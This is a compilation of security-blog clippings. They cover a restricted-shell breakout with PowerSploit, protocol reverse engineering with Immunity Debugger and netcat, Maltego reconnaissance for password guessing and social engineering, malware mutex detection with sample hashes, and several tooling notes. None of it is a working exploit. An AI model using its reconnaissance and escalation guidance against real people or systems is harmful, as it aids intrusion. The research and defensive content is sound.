restricted user environment**.** We can now use PowerSploit to conduct all
kinds of nastiness on the target machine and take measures to elevate
privilege**.**

From the defensive perspective, how do we prevent this type of attack**?** I
am no Active Directory expert, but I am intimately familiar with the concepts
of white listing and black listing**.** There are security policy rules that
allow for explicit filtering of accessible programs in restricted user
environments**.**

<img src='http://lanmaster53.com/images/posts/restricted_defense.png' />

I recommend using one of these security policy rules, preferably the white
list rule, to ensure that binary executables which can result in shell are
inaccessible to the user**.**

If you feel I have missed something or would like to contribute to this post,
please email me by clicking the button that looks like a "@" on the left hand
side of the page**.** I'm always open to improving my skill set and I'd be
happy to add some additional details so that others benefit as well**.**
Thanks for reading**\!**

Want to learn more about conducting penetration tests against web applications**?** Join me for Assessing and Exploiting Web Apps with SamuraiWTF \(contact me for details\) and SEC542: Web App Penetration Testing and Ethical Hacking  at SANS Northern Virginia 2014 , Reston, VA | Mon Mar 17 - Sat Mar 22, 2014**.**
### Discussion, links, and tweets****

****

# Episode95 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:37:43 PM_  
---|---  
**Updated:**| _8/5/2009 12:38:20 PM_  
**Author:**| __  
**Tags:**| _Debugging Exploit pauldotcom Fuzzer socialising Gray Hat Python
\(book\)_  
  

# Tech Segment: Immunity Debugger Contest Winner

By Justin Seitz

The ID contest was a call to arms, to invite some of the security research
community to develop some interesting tools using ImmunityDebugger. My contest
submission was called Mike & Boo \(this was to jive with the Sulley fuzzing
framework, for those of you who aren't Monsters Inc. fans\).

The concept was to provide an automated method for dissection of an unknown
binary protocol which is typically a labor intensive, and error prone process.
Generally when you are assessing a network application for bugs, you have to
be able to understand how it processes packets, and be able to drive as far as
you can into the packet parsing routines. Before Mike & Boo, you had two main
methods to do this:

a\) Fuzzing Using Genetic Algorithms

b\) Manual Design Recovery :\)

## Fuzzing Using Genetic Algorithms

Fuzzing has become more and more intelligent as the years have gone by. No longer are we doing a cat /dev/urandom | nc to do bughunting. An excellent example of an intelligent fuzzer is the Evolutionary Fuzzing System \(EFS\) by Jared DeMott of VDALabs. Without diving into the details of what a genetic algorithm is and what it does, it is important to know that a genetic algorithm uses "fitness" to determine how much of the code in the target process has been covered. Code coverage is a common term in QA and security research, which just means how many functions did you touch when you sent in some data. 
In order to measure code coverage on an application that you don't have the
source code for, you have to understand how a disassembled binary is broken
up. Each application is sliced into functions and basic blocks.

Functions are just like your standard function in any language, it takes
parameters, performs a task, and returns a value \(this is a generalization\).
Every function is broken down into smaller parts called basic blocks. A way to
illustrate this using some Python code:

[code]

    def paul(beer):
    
            happiness = ""
    
            if beer == "SamAdams":
                    happiness = True
            elseif beer == "Pilsner":
                    happiness = False
    
            return happiness
    
    
[/code]

The function is "paul", and it would contain three basic blocks: the first if
statement is a basic block, the second elseif statement is a basic block and
generally the return statement will be treated as a basic block.

In assembly, basic blocks are terminated by conditional jmps \(this is the
if/elseif type statements\).

When using genetic fuzzing, you must first analyse the binary, and then set
breakpoints on all of the functions \(or the basic blocks but doing basic
blocks is extremely time consuming with little benefit\). When you send in a
packet to the target process, you monitor how many breakpoint hits you get.

For example to test Apache:

[code]

     POOP / HTTP/1.1 
    
[/code]

Might result in a code coverage result of say 10 functions, which probably
means it just hit the server, and it didn't recognize the request, and threw
an error. This request would have a very low "fitness" score.

[code]

    GET / HTTP/1.1 
    
[/code]

Might result in say 100 code coverage hits, which would have a very high
fitness score. The genetic algorithm will keep this in mind when doing further
requests, so it may mutate the GET request slightly and then see if it can
achieve a higher count than 100. It will do this over and over and over again
until it hits a maximum code coverage point.

While this is great for automating fuzzing, you can use it to discover how a
binary protocol is constructed. The fuzzer will slam around at the process
until it starts getting better and better coverage, but this can take hours or
days until you get a good set of results. This isn't good, and can be
frustrating or error prone.

Let's examine "manual design recovery" :\)

## Manual Design Recovery

The manual way of taking apart a protocol involves live dynamic analysis with
a debugger. Dynamic analysis means you are observing the process as it's
running, static analysis means you are using a tool like IDA to look at the
disassembly without actually running the process.

To begin, we first have to know what port the process is running on. Using
ImmunityDebugger, this is simple: File->Attach will bring up a list of
processes, and their associated TCP/UDP ports. Easy as pie, pick the process
you want to monitor, and click Attach. The debugger will break in and halt the
process.

With the process halted, we now have to set breakpoints on the common Win32
routines that handle the reception of packets. To do this use the command bar
at the bottom of the debugger and type in the following lines, hitting enter
after each:

[code]

    bp ws2_32.recv            # recv is used for TCP
    bp ws2_32.recvfrom      # recvfrom is used for UDP
    bp ws2_32.WSARecv       # allows for more complex TCP packet reception
    bp ws2_32.WSARecvFrom   # allows for more complex UDP packet reception
    
    
[/code]

Excellent, now when a packet is sent from the network, the process will stop,
and we can examine the packet contents. Hit F9 to resume the process, and fire
up netcat. Using netcat, just send the target a packet ~ something like this:

[code]

    echo "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz" |
    nc 127.0.0.1 1666
    
    
[/code]

When you hit enter, the process should stop. If you look in the bottom right
pane of Immunity Debugger \(this is the STACK window\) you will see the
parameters of the receive call. You could do some more trickery here with
those parameters, such as setting memory breakpoints, etc. but that is beyond
the scope of this segment.

If you hit CTRL-F9 it will run the process til the end of the receive routine
and stop on the RETN instruction. When this call returns, we are now going to
be going back into the main process which is going to start processing the
packet. Hit F7 \(step-in\) to get there.

Now the long story short is that you will single-step \(F7 or F8\) and watch
in the top-left pane \(the disassembly window\) for your packet payload to be
touched. An example of this would be:

[code]

    CMP ESI, DWORD PTR DS:[EBX+C]
    
    
    -------------------------------
    DS:[0091D94C] = ABCDEFGHIJ
    ESI=0091E954  = LARRYISGOD
    
    
[/code]

What I have denoted is the instruction \(CMP ESI, DWORD PTR DS:\[EBX+C\]\) and
below that is what is called the InfoPanel in ImmunityDebugger. The info panel
is directly below the disassembly window, but above the dump \(bottom left\)
window. It is used to show you what data an assembly instruction is using.

In the above case, we see that the process is comparing what is stored in
EBX+C \(ABCDEFGHIJ\) to the value in the ESI register \(LARRYISGOD\).
Obviously this comparison will fail as they are not the same, but we have
gleaned a critical piece of information here: we now know that the first 10
bytes of our packet must be LARRYISGOD in order to drive further into the
process. We can now change our netcat output to get past the first packet
parsing routine.

[code]

    echo "LARRYISGODABCDEF...."
    
    
[/code]

Rinse, wash repeat the process until you have built up a good idea of how the
packet parsing works, what bytes are required at particular offsets, and the
overall length of the necessary packets. From there you can either use more
manual techniques to try to find vulnerabilities or you can use a fuzzer that
is pre-loaded with your test packet to try to find vulnerabilities.

So this process is slow, time consuming, and error prone. Enter Mike & Boo
from the left.

## Mike & Boo

Taking what we learned from the manual process, I aimed to automate the
process and present the information in a friendly format for the analyst. The
overall layout of how this works is depicted in beautiful ASCII art below:

  
Boo <-> ImmunityDebugger\(Mike\)

Pretty sweet eh? Boo is a server daemon who's job in life is to wait for Mike
to call, and when he does, Boo sends a test packet to the target process.
Mike's job is to run inside of ImmunityDebugger and automatically trap packets
as they come in off the network. It then applies some simple heuristics to
monitor what portions of the test packet were used in comparison routines
inside the target process. Each subsequent run of the Mike & Boo system should
produce a closer and closer depiction of the protocol \(this part was cut out
of the final submission due to time constraints, but it's coming\!\).

When Mike is finished, it actually sends back a graph to Boo, who stores the
graph before moving on to the next test packet. I have linked to some example
graphs which depict how Mike & Boo denote packet comparisons, packet length
matches, etc.

This is really powerful in that the analyst can fire them up, have it generate
test packets, and then analyse the resulting graphs, without having to spend a
great deal of time doing it manually.

## Links & Resources

  * ImmunityDebugger - http://debugger.immunityinc.com
  * EFS - http://vdalabs.com/tools/efs\_gpf.html
  * IDA Pro - http://datarescue.com
  * Sulley - http://fuzzing.org
  * OpenRCE - http://openrce.org

What I Won \(SILICA >= Badass\) - http://www.immunityinc.com/products-
silica.shtml

Mike & Boo Graphs -
http://www.openrce.org/blog/view/989/Binary\_Protocol\_Dissector

Great Example of Manual Recovery -
http://dvlabs.tippingpoint.com/blog/2007/07/24/step-by-step-of-how-
tpti-07-013-was-discovered

Contact me for a copy of Mike & Boo jms /at/ bughunter.ca I haven't publicly
released it, but it is to ship with ImmunityDebugger in the February release.

# Mini-Tech Segment: Maltego - The Ultimate Recon Tool

Maltego \(Formerly Paterva\), was brought to light at Blackhat/Defcon 07 by HD
Moore and valsmith. It allows you to easily collect so much useful information
about your target. I run it on OS X natvely as its a Java app. I downloaded
the latest verison, uncompressed it, and then changed into its directory. From
there I ran "bin/maltego &" and it start with no problems on my system.
However, be certain to read the install instructions carefully, as you have to
register it to enable all of the "Transforms", which are operations performed
by Maltego. Kick off the process by hitting the "Pallete" and then clicking
the "Domain" item and dragging it on to the graph area. Then right-click on it
and click "All Transforms". From here you will get all sorts of neat stuff:

  * Collects the DNS, Web, and Mail servers in the domain \(same deal as BidiBlah\)
  * Collects people's email addresses based on their PGP keys, which is a nice way to make sure you have a valid email address
  * Collects phone numbers, people's names and more importantly web sites that are affiliated or contain relavent information about your target
  * Downloads all of the files on the web site and has its own metadata collector

Whats nice is that once you get an object on the graph you can right click on
it and run transforms against that. Pretty soon you have this "Web" of
information that collects so much useful information about your target that
its scary. You should run this tool if:

  * You are collecting usernames for password guessing against exposed services
  * You are running email social engineering and client-side attacks
  * For any social engineering engagement

Remember how the Tiger Team show had the team picking through the garbage to
figure out who they use for tech support? Maltego most likely can find
information such as that.

  

# Embedded in Academia : Draft Paper about Integer Overflow

**Created:**| _10/10/2011 1:02:01 PM_  
---|---  
**Updated:**| _10/10/2011 1:02:01 PM_  
**Author:**| __  
**Tags:**| _integer overflows_  
  

## Draft Paper about Integer Overflow

<img src='img/Temp2_2688.png' width='224' height='288' alt='alt' />

Result of the infamous Pac-Man integer overflow

Last Spring I had a lucky conversation. I was chatting with Vikram Adve, while
visiting the University of Illinois, and we realized that we working on very
similar projects — figuring out what to do about integer overflow bugs in C
and C++ programs. Additionally, Vikram’s student Will and my student Peng had
independently created very similar LLVM-based dynamic checking tools for
finding these bugs. As a researcher I find duplicated effort to be bad at
several levels. First, it’s a waste of time and grant money. Second, as soon
as one of the competing groups wins the race to publish their results, the
other group is left with a lot of unpublishable work. However, after talking
things through, we agreed to collaborate instead of compete. This was
definitely a good outcome since the resulting paper — submitted last week — is
almost certainly better than what either of the groups would have produced on
its own. The point is to take a closer look at integer overflow than had been
taken in previous work. This required looking for integer overflows in a lot
of real applications and then studying these overflows. It turns out they come
in many varieties, and the distinctions between them are very subtle. The
paper contains all the gory details. The IOC \(integer overflow checker\) tool
is here. We hope to convince the LLVM developers that IOC should be part of
the default LLVM build.

We would be happy to receive feedback about the draft.

# pevma/Suricata-Logstash-Templates · GitHub

**Created:**| _8/18/2014 10:24:35 AM_  
---|---  
**Updated:**| _8/18/2014 10:24:35 AM_  
**Author:**| __  
**Tags:**| _security tools iDS/iPS management_  
  

# Suricata-Logstash-Templates

Templates for Kibana/Logstash to use with Suricata IDPS

This repository provides 9 templates for the Kibana interface of Logstash for
use with Suricata IDS/IPS - Intrusion Detection and Prevention System.

These templates are for use with Suricata and ELK - Elasticsearch, Logstash,
Kibana. You can install all of them following the guide here:

https://redmine.openinfosecfoundation.org/projects/suricata/wiki/\_Logstash\_Kibana\_and\_Suricata\_JSON\_output

or you can just try them out ready to use with SELKS:

https://www.stamus-networks.com/open-source/

The templates found in the Templates directory:

  * ALERTS 
  * FILE Transactions
  * HTTP-Extended-Custom

#  How to use

[code]

     apt-get install git-core
     git clone https://github.com/pevma/Suricata-Logstash-Templates
    
[/code]

That will create a directory - Suricata-Logstash-Templates - holding the
templates.

  * Open your Kibana web interface
  * Right upper corner, Load -> Advanced -> Browse
  * Load the desired template\(s\)

NOTE: In order to use the HTTP-Extended-Custom template you need to set up
Suricata as explained here - http://www.pevma.blogspot.se/2014/06/http-header-
fields-extended-logging.html

Do not hesitate to contribute \!

# WinDbg Preview - What's New - Windows drivers

**Created:**| _5/10/2019 8:10:33 AM_  
---|---  
**Updated:**| _5/10/2019 8:10:33 AM_  
**Author:**| __  
**Tags:**| _windbg_  
  

  

# WinDbg Preview - What's New

  * 04/04/2019
  * •13 minutes to read
  * • Contributors
    * <img src='img/DOMARS.png' width='16' height='16' />
    * <img src='img/aluhrs13.png' width='16' height='16' />

### In this article

  1. 1.0.1904.18001
  2. 1.0.1812.12001
  3. 1.0.1810.2001
  4. 1.0.1807.11002
  5. 1.0.1805.17002
  6. 1.0.1804.18003
  7. 1.1801.19001.0
  8. 1.1712.15003.0
  9. 1.0.14.0
  10. 1.0.13.0
  11. 1.0.12.0
  12. See Also

This topic provides information on what's new in the WinDbg Preview debugger.

## 1.0.1904.18001

**Fix for SymSetDiaSession error** \- We've had reports for a while of an
error that prevents WinDbg Preview from being launched in some situations.
There are a few external applications that attempt to inject a version of
DbgHelp into our process before we load it. Some of them are using a version
of DbgHelp with missing functionality, which causes this error when we attempt
to use those features. We've added a fix for this and will be tracking if
there are still scenarios in which it occurs.

**Font control** \- We've added settings for controlling font and font size.
There are two different settings, one for text windows \(mono-spaced windows
like disassembly, source, command, etc.\) and one for tool windows \(locals,
stack, etc.\). There's still a few areas that aren't affected by these options
that we'll be updating in the future.

**Highlighting improvements** \- Persistent highlighting of text in the
command window will now also highlight text in the source and notes windows.

**Source loading improvements** \- We've changed how loading source files
works. Previously when opening a source file, engine operations like running
additional commands weren't possible or were unpredictable. We've changed
where the loading occurs to enable better parallelism and more reliable
cancellation of source opening operations.

Other changes and bug fixes:

  * Added "Go to disassembly" to the context menu of the source window.
  * Added a checkbox to "Follow current instruction" in disassembly window.
  * Fixed a bug that caused the command window to perform slowly when outputting lots of text.
  * Changed page up and page down keys to perform similar to Visual Studio.
  * When an ASM file is opened in the source window it will now have basic comment, string, and directive highlighting

## 1.0.1812.12001

This version includes these updates.

**Debugger data model C++ header** \- There is a new C++ header, DbgModel.h,
included as part of the Windows SDK for extending the debugger data model via
C++. You can find more information in Debugger Data Model C++ Overview. This
release includes a new extension that adds some more "API style" features to
the debugger data model that can be accessed through the 'dx' command,
JavaScript, and the new DbgModel.h header. This extension extensions the data
model to include knowledge about assembly and code execution through the
Debugger.Utility.Code namespace, and the local file system through the
Debugger.Utility.FileSystem namespace.

**Synthetic types extension** With this new API extension, we have a new
sample up on our GitHub repo here - https://github.com/Microsoft/WinDbg-
Samples/tree/master/SyntheticTypes. This JavaScript extension reads basic C
header files and defines synthetic type information for the structures and
unions defined in the header. Through the dx command, memory can then be
viewed structured as if you had a PDB with type information for those types.

Other changes and bug fixes:

  * WinDbg Preview will now more intelligently handle bringing source windows or the disassembly window to the foreground when stepping.
  * Re-arranged WinDbgNext's window title to have more important information at the start when kernel debugging.
  * The alternating background contrast in the command window should be slightly more noticeable.

## 1.0.1810.2001

This version includes these updates.

  * New Settings dialog that is accessed from the File menu or the Home ribbon.
  * Events and exceptions settings dialog. This menu changes how the debugger handles events and exceptions, the equivalent of the 'sx' commands or WinDbg's event filters dialog. Select **Settings** on the home ribbon, then hit "Events and Exceptions" on the left to manage those.
  * Improved TTD indexer with better performance. This increases the performance of indexing TTD trace files, making the indexing process much faster \(between 2x-10x\) while making index files much smaller \(~50% smaller\). The perf improvements are most noticeable for traces over 4GB in size, or when using a machine with many CPU cores \(8+\). The new indexer makes it more feasible to debug very large traces \(50GB+\).
  * New _debugArch_ launch flag for specifying architecture. WinDbg Preview attempts to launch the debugger engine with the correct bitness to the target to better support debugging managed code. There are circumstances where it can't determine the right bitness or you may want to override what it decides. Use -debugArch x86|amd64 to control the architecture of debugger engine.

Other changes and bug fixes:

  * Fixed a bug that would cause black bars to appear on a full screen debugger with a floating window open.
  * Fixed a bug that would cause symbol options to be cleared unintentionally.
  * Command history is now preserved when launching from recent targets.
  * In the data model window, you can now edit values.
  * Un-indexed TTD traces will now be more clear that they're un-indexed.
  * Improved performance of the locals window
  * Added a ribbon button to save the command window logs to a file.
  * Added . SelectMany\(\) to the default set of LINQ methods.

## 1.0.1807.11002

This version includes these updates.

**Automatic saving and loading of breakpoints**. This is a first step to
replace workspaces. We’re starting down that route by enabling the saving and
loading of breakpoints. Launching something you’ve debugged previously from
the “Recents” tab in the file menu will now load the breakpoints from that
session. The plan is to expand this functionality to preserve more information
across sessions. Hardware breakpoints \(ba\) and other various properties on
breakpoints like thread and process specific contexts as well as conditions
are not currently being saved.

Minor changes and bug fixes:

  * Added command-line options -x, -xe, -xd, -xn, and -xi for controlling the handling of exceptions and events. These command-line options behave just like their command counter-parts.
  * The notes window now supports bold, underline, and italics formatting.
  * Fixed some zoom and scrolling issues.
  * Selecting text in the command, memory, sources, or disassembly windows will now show a light highlight over other instances of the selected text.
  * Fixed a bug where interrupting symbol loading would cause symbol loading to fail for the rest of the session.
  * NatVis will now reload properly on restarting a session.

## 1.0.1805.17002

This version includes these updates.

**New disassembly window** \- The disassembly window now includes:

  * Scrolling up or down will continuously load more disassembly whenever possible.
  * Syntax highlighting for numbers, code addresses, and opcodes.
  * Clicking a code symbol will jump the disassembly window to that location.
  * Hovering over numbers will show a tooltip that converts that number to other bases.
  * Headers signifying the start of a function.

**Faster source window** \- The source window has been updated to be faster
and more resource efficient.

Minor changes and bug fixes

  * Fixed issues around symbol caching
  * Fixed some cases where toggle initial break wasn’t usable when the target isn't broken in
  * If you hit tab in the command window with nothing available, the cursor will now stay in the input field
  * WinDbgNext will now auto-detect bitness when opening CAB files

## 1.0.1804.18003

This version includes these updates.

**Symbol status and cancellation improvements** \- There are time where the
debugger display _BUSY_ loading symbols and it’s difficult to determine what
it’s doing and why without \!sym noisy enabled. We’ve updated WinDbg Preview
to have some better communication around what it’s doing when loading symbols
to help troubleshoot any issues. In addition to easily seeing exactly what’s
happening, we’ve made some changes that should make cancelling symbols more
reliable and the Logs window will contain some of the details that’s normally
output when \!sym noisy is enabled. If you hit View -> Logs you’ll get the
full noisy symbol loading output without having to turn it on and attempt to
reload the symbols.

**Experimental notes window** \- WinDbg Preview now has a window for taking
notes. Just hit View -> “Notes” to open it. If you copy/paste into it, DML
links will be preserved and still work as if it was the command window. You
can also save and load notes files from the “Notes” ribbon when the window is
open.

**Experimental faster source window** \- To help improve the performance of
WinDbg Preview there us a experimental new source window that is quite a bit
more efficient. There’s still a few gaps around context menus and syntax
highlighting, but we want to give everyone the option of trying it out before
it’s finished to give us early feedback. Run $UseFastSourceWindow to use it.
If you want to go back to the old one, run $UseMonacoSourceWindow. The setting
will preserve across sessions, you will need to close and re-open source
windows to get the new version.

**JSProvider API version 1.2** \- For JavaScript extensions that declare
support for API version 1.2:

  * Any object with a .compareTo method which exits the script will have a custom comparator on it \(comparison operators will work in the DX evaluator and elsewhere: e.g.: IModelObject::Compare\)
  * Any object with a .equals method which exits the script will have a custom equality operator on it \(== and \!= will work in the DX evaluator and elsewhere: e.g.: IModelObject::IsEqualTo\)
  * Native or data model objects which enter the script will have .compareTo and .equals on them which allow access to any custom comparator or custom equality implementations.

Minor changes and bug fixes:

  * .server will now list fully qualified domain name for easier use when there’s domain issues around short names.
  * Ctrl+G now works in the source window.
  * Added address bar to the disassembly window.
  * WinDbg Preview will now handle \_NT\_SYMBOL\_PATH in a more expected way.
  * Added -server command-line option.
  * TTD data model queries can now be displayed progressively, so if you interrupt it you’ll still see some results. This feature is still experimental and optional. Run `dx @$cursession.TTD.AsyncQueryEnabled = 1` to enable it.
  * The ‘dps’ command now has links to the source files it refers to.

## 1.1801.19001.0

This version includes these updates.

**Text Highlighting** \- You can now highlight all instances of selected text
directly in the debugger. To use this feature, just select some text in the
command window and then click “Highlight” in the command ribbon or hit
CTRL+ALT+H. Using one of those on already highlighted text will remove the
highlighting.

If you prefer using commands, you can use the “$hl” command:

`$hl ["someValueHere"]` \- Highlight give text \(or un-highlight if already
highlighted\)

`$hl clearAll` – Clear all highlighted entries

`$hl caseSensitive [1|0]` \- Set highlight matching to case sensitive or case
insensitive \(default is case insensitive\)

This release also includes some minor bug fixes.

## 1.1712.15003.0

This version includes these updates.

**TTD memory queries** \- You can now query TTD for memory accesses similar to
how you query for calls today. This allows you to find all of the reads,
writes and execution which access a specific range of memory.

Read and write example: `dx @$cursession.TTD.Memory(startAddress, endAddress,
"rw")`

Unique execution example: `dx @$cursession.TTD.Memory(startAddress,
endAddress, "ec")`

**Settings changes** \- WinDbg Preview will now automatically save settings
between sessions, including your symbol path and source path.

**JavaScript Improvements**

  * 64-bit numbers and numerics in JavaScript now contain a modulo method allowing a true 64-bit modulo operation.
  * Objects defined in JavaScript can now implement a custom comparable or equatable notion which will work in dx using standard C++ operators or in LINQ operations. In order to utilize this, the script must declare in the initializeScript array that it supports a new version of the host API by inserting a record “new host.apiVersionSupport\(1, 2\)”. After you’ve done that you can use these functions in any ‘dx’ or Data Model Window LINQ query. If the method implements .compareTo\(other\), it is comparable \(comparison operators work in dx and LINQ\). If the method returns a negative value, such as “this < other”. If the method returns zero, “this == other”. If the method returns a positive value “this > other”. If the method implements .equals\(other\), it is equatable \(== works in dx and LINQ\). The method must return either true or false.

Minor changes and bug fixes:

  * Fixed a bug where the stack and locals windows weren’t working during boot debugging
  * Updated the output of LM to more accurately report ProductVersion and similar fields
  * Enabled the “step out back” button during TTD sessions
  * Added support for -lsrcpath
  * The headers in the locals, watch, and model windows now don’t disappear when scrolling down
  * When ALT+Tabbing back to WinDbg Preview, the command window will properly preserve cursor location
  * Added CTRL+ALT+V shortcut for toggling verbose mode
  * You can now disable auto-scrolling of the command window by right-clicking the command window tab and choosing “turn off auto scrolling”
  * You can now debug child processes through the launch executable advanced page.

## 1.0.14.0

This version includes these updates.

**Improved process server experience** \- A new notification in the File menu
to show what process server you’re connected to and interacting with has been
added. As part of these changes, when ending a debugging session, the process
server connection will persist and can be disconnected in the File menu.

**New pre-set layout options in the View ribbon** \- There is a new “Layouts”
option in the “View” ribbon. There are currently three layouts: the default,
one focused on disassembly, and one minimal.

**Time Travel Debugging ribbon** \- There is an enhanced Time Travel ribbon
that will show up when debugging a time travel debugging trace.

**Metadata from JavaScript scripts** \- JavaScript extensions can now return
metadata for properties and other constructs. This means that the extension
can provide help strings, indicate the display radix for values, and more.
Metadata is provided by placing a metadata descriptor on an object via either
presence of Symbol.metadataDescriptor or an explicit call to
host.metadata.defineMetadata. Function returns, iterated values, and other
value contexts can return metadata for their value via
host.metadata.valueWithMetadata.

**JavaScript API updates** \- Some potentially source level breaking changes
were made to the APIs within the JavaScript provider \(including new projected
methods and properties on native objects\). Existing extensions will not see
any of the potentially breaking changes without indicating that they support a
new version of the JsProvider API. Support for the new API version is
indicated by placing a host.apiVersionSupport record in the array returned by
initializeScript with a claim of supporting version 1.1. maybe? .. with a
value indicating support for version 1.1.

Changes in API version 1.1 include:

  * host.getModuleSymbol and host.getModuleType return null if they cannot find the symbol instead of throwing an exception.
  * All native objects have the address property on them in addition to .targetLocation. If the object does not have an address, an exception will be thrown when accessing the property.
  * All native objects have new .getObjectValue and .setObjectValue methods on them to access properties on the object which may conflict with names JavaScript places on the object \(e.g.: ‘address’\) .

**Additional JavaScript changes**

  * JavaScript extensions can now add and remove properties on data model objects via Object.defineProperty and the delete operator. Adding or registering a JavaScript class as a parent model or type signature is still the strongly preferred way of manipulating the object model.
  * JavaScript extensions can now modify global variables within modules in the debug target through a new host.setModuleSymbol API.
  * All of the math functions which are on the 64-bit library type \(e.g.: .add, .subtract, .multiply, .divide, etc…\) are now present on JavaScript numbers as well.
  * JavaScript functions and properties can now return values which are enums through custom marshaling. A function or property accessor can return host.typeSystem.marshalAs\(value, type…\) in order to evoke such custom marshaling.
  * The breakpoint command in the script debugger can now break on function names in addition to line/column positions.
  * Type objects in JavaScript extensions have access to their containing module through the .containingModule property.

Minor changes and bug fixes:

  * Fixed formatting of conditional ribbon tabs to be less confusing.
  * Re-worked DML to be stricter in parsing to improve performance.
  * Various fixes with the performance and behavior of CTRL+F.
  * Added a warning when running un-elevated prior to trying to use TTD.
  * Added the option to override automatic target bitness detection.
  * Disabled various file menu and ribbon options when they can’t be used \(like “Go” when in a dump file\).

Known issues:

  * SOS will not work on x86 traces.

## 1.0.13.0

This version adds Time Travel Tracing. Time Travel Debugging, allows you to
record a process, then replay it later both forwards and backwards. Time
Travel Debugging \(TTD\) can help you debug issues easier by letting you
"rewind" your debugger session, instead of having to reproduce the issue until
you find the bug. For more information, see Time Travel Debugging - Overview.

## 1.0.12.0

This version was the first release of WinDbg Preview. For general information
on the features available in WinDbg Preview, Debugging Using WinDbg Preview.

* * *
## See Also

Debugging Using WinDbg Preview

## Feedback

Send feedback about:

This product Ｍ

Loading feedback...

# Jaime Blasco Blog : /Malware/exploring\_mutex\_objects.html

**Created:**| _5/12/2010 9:47:13 AM_  
---|---  
**Updated:**| _5/12/2010 9:47:28 AM_  
**Author:**| __  
**Tags:**| _research reversing Malware-analysis_  
  
Malware: Exploring mutex objects

Mon, 28 Dec 2009

A mutex, also called a lock is a program object commonly used to avoid
simultaneous access to a resource, such a variable.

It's used in concurrent programming to allow multiple program threads to share
the same resource.

Mutexs are usually used by malware creators to avoid the infection of a system
by different instances of the same malware. When the trojan infects a system,
the first step is to obtain a handle to a "named" mutex, if the process fails,
then the malware exits.

The easiest way to check for the presence of a Mutex is using the CreateMutex
Function

[code]

    HANDLE WINAPI CreateMutex(
            __in_opt  LPSECURITY_ATTRIBUTES lpMutexAttributes,   
            __in      BOOL bInitialOwner,   __in_opt  LPCTSTR lpName ); 
    
[/code]

This is the same function that malware uses for checking if the system is
infected so one approach to detect the presence of a piece of malware is
trying to obtain a handle to the created mutex.

Here is a list of some malwares \(md5's\) and the Mutex created:

[code]

    60f733d6d0b077e4a668fb49aab44a30, xx464dg433xx16
    fb663100308285afb4debdcab8d67fe2, 6E523163793968624
    47c6313ec393d0c55d57529e2a9a418d, Security Tool
    72631c3c853d706daf1153b3c8fea54f, psec_once
    c37f47c9071eed101a67532e5d412171, YMING
    cdcd59a5fb80808cad7376c001586c6e, 290541776
    6013de3fed84d40bb173ec23f408a67e, mymutsglwork
    62a3f867becfea136aea4ec83a4d9c44, 5BB0650C
    5f33aa0b5660bc932af969301635d818, XGBPPAQHSE
    2e40abf579e4d8d5d1ba7df34d5e507a, _!SHMSFTHISTORY!_
    
[/code]

I've uploaded a small piece of code in .NET \(console\) using PInvoke that
takes the name of the mutex to check for.

  * Source Code
  * Binary

\(Tested on Windows XP SP2 and Windows 7\)

Example:

  
<img src='img/Temp2_4656.png' />

You can use this small application to quickly check if a system is compromised
if you know the name of the mutex created by the malware.  
In the previous post, we talked about the Windows Kernel Objects as well as
the "Object directories".  
We learnt how to query a directory using WinDBG and we found that Mutex as
well as other kernel objects are present inside directories.  
So now I will explain how to query object directories from user land via
NtQueryDirectoryObject to list mutexs present in the system.

We will use the functions NtOpenDirectoryObject and NtQueryDirectoryObject

[code]

    NTSTATUS WINAPI NtOpenDirectoryObject(   
            __out  PHANDLE DirectoryHandle,   
            __in   ACCESS_MASK DesiredAccess,   
            __in   POBJECT_ATTRIBUTES ObjectAttributes ); 
    
    
[/code]

[code]

    NTSTATUS WINAPI NtQueryDirectoryObject(
               __in       HANDLE DirectoryHandle,   
               __out_opt  PVOID Buffer,   
               __in       ULONG Length,   
               __in       BOOLEAN ReturnSingleEntry,  
               __in       BOOLEAN RestartScan,   
               __inout    PULONG Context,   
               __out_opt  PULONG ReturnLength ); 
    
    
[/code]

So the best approach to enumerate the Mutex objects is to traverse all the
directories beginning with the root directory \(""\\\""\) and check for "Mutex
objects" inside the directory.  
We have to take into account that a directory may contains another directory
so we have to traverse all of them.

Here is another piece of code to enumerate all the mutex present in the
system:

  * Source Code
  * Binary

\(Tested on Windows XP SP2 and Windows 7\)

Example:

  
<img src='img/Temp2_4657.png' />

Remember that Windows Objects belongs to a namespace and each user session has
a different namespace so you will retrieve different results from different
user sessions.

I was looking at some mutex results an then I found these:

[code]

    0x16F:Mutant                   VMwareGuestDnDDataMutex
    0x170:Mutant                   VMwareGuestCopyPasteMutex
    
    
[/code]

I think is another interesting trick to detect the presence of a system
running inside Vmware.  
Searching the Internet I found this report from ThreatExpert about a malware
called W32.Neshuta that creates exactly the previous two mutexs.  
So the question is if the malware checks for the presence of Vmware with this
technique \(I bet you a beer\) or it uses the same mutants to hide and deceive
computer users.

posted at: 19:59 | path: /Malware | permanent link to this entry | 2 comments | 
  

  

\* Posted by Alex at Tue Apr 6 10:06:39 2010  

great topic - I found you thru googling "mutex enumeration windows xp"  
  
your explanation was very understandable.  
One question though. What are the implications of having a different view of
the enumeration based on the user account that asks the question?  
  
how hard would it be to get a full analysis of a machine for all users?  
  
thanks for the two examples.  
  
Alex  

\* Posted by Robert at Mon May 10 21:47:08 2010  

Great work and thorough explanations.

# Pintool Makefile | Development & Security
**Created:**| _11/6/2012 9:25:18 AM_  
---|---  
**Updated:**| _11/6/2012 9:25:18 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation programming_  
  

# Pintool Makefile

Posted on

November 4, 2012

## Pintool Makefile

Unfortunately there hasn’t been a new blogpost in a while. Today’s blogpost
will be a short one.

So, anyone that has been using pintool on windows has faced the beautiful
_Nmakefile_ that you get to use. And it only works using the Visual Studio
Command Prompt, which is basically cmd.exe with some extra environment
variables set.

Being a bash user nowadays \(yes, you can have bash on windows using e.g.
Cygwin\), it is useful to me to be able to build my pintools from the bash
terminal, rather than the command prompt. \(Note that Git for Windows also
ships with a bash terminal and a nice amount of bash utilities, such as _grep_
etc.\)

That being said, the bash Pintool Makefile can be found here. \(Click on the
_raw_ button at github in order to get it in plaintext.\)

You will want to set the _PINTOOL_ variable to the relative or absolute path
in which you’ve installed \(read: unpacked\) pintool. Finally, set the _DLLS_
variable to the name of your dll \(you can also do multiple dll’s, if you want
to build multiple pintools.\) Note that a pintool called _abc.dll_ is built
from the sourcefile _abc.cpp_.

From now on, you can build your pintool\(s\) simply by executing _make_ in
your bash terminal. If you want to delete the compiled files, simply run _make
